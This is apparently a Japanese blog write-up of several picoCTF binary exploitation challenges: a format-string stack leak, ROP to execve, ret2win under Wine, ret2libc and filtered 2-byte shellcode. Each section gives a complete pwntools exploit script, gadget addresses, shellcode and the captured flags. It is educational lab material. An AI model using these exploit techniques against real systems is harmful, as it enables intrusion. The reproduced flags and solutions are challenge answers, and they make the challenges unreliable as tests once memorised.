03:000c│ 0xffffce6c —▸ 0x8049346 (vuln+19) ◂— add ebx, 0x2cba
04:0010│ 0xffffce70 —▸ 0xf7fc3190 —▸ 0xf7c00000 ◂— 0x464c457f
05:0014│ 0xffffce74 ◂— 0xffffffff
06:0018│ 0xffffce78 —▸ 0xffffcef4 ◂— '{win!}\n'
07:001c│ 0xffffce7c —▸ 0xf7c0e320 ◂— 0x204e /* 'N ' */
あとはスタック内を総当たりで探しに行くスクリプトを書けばよい。
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
for i in range(100):
#p = process()
p = remote("{host}", {port})
try:
p.sendline('%{}$s'.format(i))
result = p.recvall()
if result:
print(str(i) + ': ' + str(result))
p.close()
except EOFError:
pass
24: b"Tell me a story and then I'll tell you one >> Here's a story - \nCTF{L34k1ng_Fl4g_0ff_St4ck_0551082c}\n"
[+] Opening connection to saturn.picoctf.net on port 62270: Done
感想
かたわれさまのブログが非常に勉強になりました。
ありがとうございます…

ropfu
問題
Description
What's ROP?
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
バイナリ関連情報
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
解説
vuln関数に脆弱性はあるが、今回はFlagを得るのに有効な関数がない。
そのため、シェルを取ることを考える。
シェルを取るためにはsys_execveに/bin/shを引数として渡せばいい。
manコマンドで調べてみる。
名前
execve - プログラムを実行する
書式
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
説明
execve() は、filename によって指定されたプログラムを実行する。
以上からシェルを取るには以下のようにしてsys_execveを呼ぶ必要がある。
- eax : 0xb
- ebx : /bin/sh を保存したアドレスを示すポインタ
- ecx : 0
- edx : 0
シェルの取り方がわかったので次はROPの順番を考えてみる。
- popでレジスタに必要な値を入れる
- movで/bin/shを書き込み可能セクションに書き込む
- popでレジスタに必要な値を入れる
- syscallガジェットに飛ぶ
方法が定まったのでROP構築のために必要なガジェットのアドレスを調べていく。
$ ropper --file vuln --search "pop e"
省略
0x080583c8: pop eax; pop edx; pop ebx; ret;
省略
$ ropper --file vuln --search "pop ecx"
省略
0x08049e39: pop ecx; ret;
省略
$ ropper --file vuln --search "mov dword ptr " |grep edx
省略
0x08059102: mov dword ptr [edx], eax; ret;
省略
$ ropper --file vuln --search "int 0x80"
0x0804a3d2: int 0x80;
省略
次に書き込み可能なメモリを探す。
dataセクションが使えそう。
$ readelf -S vuln
There are 29 section headers, starting at offset 0xace68:
セクションヘッダ:
[番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al
省略
[19] .data PROGBITS 080e5060 09c060 000ec0 00 WA 0 0 32
[20] __libc_subfreeres PROGBITS 080e5f20 09cf20 000024 00 WA 0 0 4
[21] __libc_IO_vtables PROGBITS 080e5f60 09cf60 000354 00 WA 0 0 32
[22] __libc_atexit PROGBITS 080e62b4 09d2b4 000004 00 WA 0 0 4
[23] .bss NOBITS 080e62c0 09d2b8 000d1c 00 WA 0 0 32
省略
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
R (retain), D (mbind), p (processor specific)
あとは集めた情報から攻撃コードを作るだけ。
攻撃コードの中身はざっくりこんな感じ。
- eipまでパディングで埋める
- popガジェットを呼び出す
- 32bitバイナリなので、/bin //shを分割してmovする
- popガジェットを呼び出す
- syscallを呼ぶ
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
io = start()
offset = 32
pop_eax_edx_ebx=0x080583c8 #pop eax; pop edx; pop ebx; ret;
pop_ecx=0x08049e39 #pop ecx; ret;
datasection=0x080e5060
mov_edx_eax= 0x08059102 #mov dword ptr [edx], eax; ret;
int_0x80=0x0804a3d2 #int 0x80;
payload = flat(
asm("nop")*28,
pop_eax_edx_ebx,
"/bin",
datasection,
"junk",
mov_edx_eax,
pop_eax_edx_ebx,
"//sh",
datasection+4,
"junk",
mov_edx_eax,
pop_eax_edx_ebx,
11,
0,
datasection,
pop_ecx,
0,
int_0x80
)
write("payload",payload)
io.recvuntil("grasshopper!\n")
io.sendline(payload)
io.interactive()
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x22 bytes:
b'picoCTF{5n47ch_7h3_5h311_e81af635}'
picoCTF{5n47ch_7h3_5h311_e81af635}$
無事シェルが取れた。
感想
カナリアは?

wine
問題
Challenge best paired with wine.
ソースコード
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void win(){
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("flag.txt not found in current directory.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
void vuln()
{
printf("Give me a string!\n");
char buf[128];
gets(buf);
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
配布ファイル
$ file vuln.exe
vuln.exe: PE32 executable (console) Intel 80386, for MS Windows
解法
windows問。
タイトルからしてwineを使えという問題っぽい。
やること自体は非常にシンプルでret2winするだけ。
$ cyclic 200 | wine vuln.exe
Give me a string!
wine: Unhandled page fault on read access to 6261616B at address 6261616B (thread 0024), starting debugger...
Unhandled exception: page fault on read access to 0x6261616b in 32-bit code (0x6261616b).
Register dump:
CS:0023 SS:002b DS:002b ES:002b FS:006b GS:0063
EIP:6261616b
$ cyclic -l 0x6261616b
140
$ objdump -d -M intel vuln.exe |grep win
00401530 <_win>:
401551: 75 18 jne 40156b <_win+0x3b>
上記の情報をもとに、攻撃コードを作る。
from pwn import *
context.log_level="debug"
exe = "./vuln.exe"
win = p32(0x00401530)
offset = 140
payload = flat(
"A" * offset,
win
)
io = remote("{host}", {port})
io.recvuntil("string!")
io.sendline(payload)
io.interactive()
[DEBUG] Received 0x23 bytes:
b'picoCTF{Un_v3rr3_d3_v1n_acdf9f0a}\r\n'
flagゲット。
感想
wineを使ったことないので焦りました。
windows問にもなれていかなきゃ....

Here's a LIBC
問題
Description
I am once again asking for you to pwn this binary
解法
まずは緩和機構やバイナリの種類を確認する。
気になる点としては、PIEがなく、NXがあること。
$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=e5dba3e6ed29e457cd104accb279e127285eecd0, not stripped
$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
ソースコードがないので、ghidraに食わせてみるとdo_stuff関数にbofが発生しそうな箇所がある。
void do_stuff(void)
{
char cVar1;
undefined local_89;
char local_88 [112];
undefined8 local_18;
ulong local_10;
local_18 = 0;
__isoc99_scanf("%[^\n]",local_88);
__isoc99_scanf(&DAT_0040093a,&local_89);
for (local_10 = 0; local_10 < 100; local_10 = local_10 + 1) {
cVar1 = convert_case((int)local_88[local_10],local_10);
local_88[local_10] = cVar1;
}
puts(local_88);
return;
}
(%[^\n]という書き方があることを知らなかった)
参考:
脆弱性の箇所を特定できたのであとはret2libcしてシェルを取ればOK。
攻撃に必要な情報を探して、攻撃コードを組む。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b do_stuff
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './vuln'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
libc = ELF("./libc.so.6")
io =start()
puts_plt = elf.plt.puts
puts_got = elf.got.puts
# ropper --file vuln --search "pop rdi"
# ropper --file vuln --search "ret"
pop_rdi=0x0000000000400913 #: pop rdi; ret;
ret =0x000000000040052e
offset = 136
payload =flat(
asm("nop")*offset,
pop_rdi,
puts_got,
puts_plt,
elf.symbols.main
)
io.sendlineafter("WeLcOmE To mY EcHo sErVeR!",payload)
io.recvline()
leak= io.recv()
leak = leak.strip(b"\x90")[2:8].ljust(8,b"\x00")
leak =u64(leak)
info("libc_offset: %#x",leak)
puts_offset =libc.symbols['puts']
# strings -a -t x ./libc.so.6 |grep "bin/sh"
binsh_offset=0x1b40fa
system_offset= libc.symbols["system"]
libc_base = leak-puts_offset
libc_system = libc_base+system_offset
binsh=libc_base+binsh_offset
info("libc_base: %#x",libc_base)
info("libc_system: %#x",libc_system)
info("binsh: %#x",binsh)
payload2=flat(
asm("nop")*offset,
pop_rdi,
binsh,
ret,
libc_system
)
io.sendline(payload2)
io.interactive()
上記コードを実行してフラグゲット。
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x30 bytes:
b'flag.txt\n'
b'libc.so.6\n'
b'vuln\n'
b'vuln.c\n'
b'xinet_startup.sh\n'
flag.txt
libc.so.6
vuln
vuln.c
xinet_startup.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
b'picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}'
picoCTF{1_<3_sm4sh_st4cking_37b2dd6c2acb572a}$
余談
問題バイナリを実行したところ、以下のエラーが発生し、実行できなかった。
そのため以下の方法で解決した。
$ patchelf --set-interpreter ./ld-2.27.so ./vuln
大変勉強になりました。

filtered-shellcode
問題
A program that just runs the code you give it? That seems kinda boring...
解法
入力を受け取り受け取った値を実行してくれるようなので、シェルコードを入力すれば良い。
しかし問題名の通り、いつものシェルコードをいれてもフィルターされてしまう。
フィルターは\x90\x90が2byteごとに追加されるというものなので、2byteの命令でシェルコードを作成すればいい。
2byte命令で作成したシェルコード。
xor eax eax
push eax
push eax
mov edi ,esp
mov al ,0x2f
add [edi],al
inc edi
nop
mov al,0x62
add [edi],al
inc edi
nop
mov al,0x69
add [edi],al
inc edi
nop
mov al,0x6e
add [edi],al
inc edi
nop
mov al,0x2f
add [edi],al
inc edi
nop
mov al,0x73
add [edi],al
inc edi
nop
mov al,0x68
add [edi],al
inc edi
nop
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al, 0xb
mov ebx,esp
int 0x80
※nopを挟んでいるのは2byteずつにそろえるため
作ったシェルコードが2byte命令のみで構成されているかはpwntoolsのコマンドラインツール使って確認する。
※知らなかったがめちゃくちゃ便利だった…pwn asm の出力をpwn disasmでディスアセンブルしたりして確認しながら上のシェルコードを作った。
#asm => byte
pwn asm "{code}"
#byte => asm
pwn disasm "{byte}"
あとは作ったシェルコードを攻撃コードに組み込んで終わり。
from pwn import *
elf = context.binary = ELF("./fun")
#io = process()
io = remote("mercury.picoctf.net",28494)
payload =asm("""
xor eax ,eax
push eax
push eax
mov edi ,esp
mov al ,0x2f
add [edi],al
inc edi
nop
mov al,0x62
add [edi],al
inc edi
nop
mov al,0x69
add [edi],al
inc edi
nop
mov al,0x6e
add [edi],al
inc edi
nop
mov al,0x2f
add [edi],al
inc edi
nop
mov al,0x73
add [edi],al
inc edi
nop
mov al,0x68
add [edi],al
inc edi
nop
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov al, 0xb
mov ebx,esp
int 0x80
""")
io.recvuntil("run")
io.sendline(payload)
io.interactive()
$ id
uid=1594(filtered-shellcode_4) gid=1595(filtered-shellcode_4) groups=1595(filtered-shellcode_4)
$ cat flag.txt
picoCTF{th4t_w4s_fun_384f7c52706306d0}$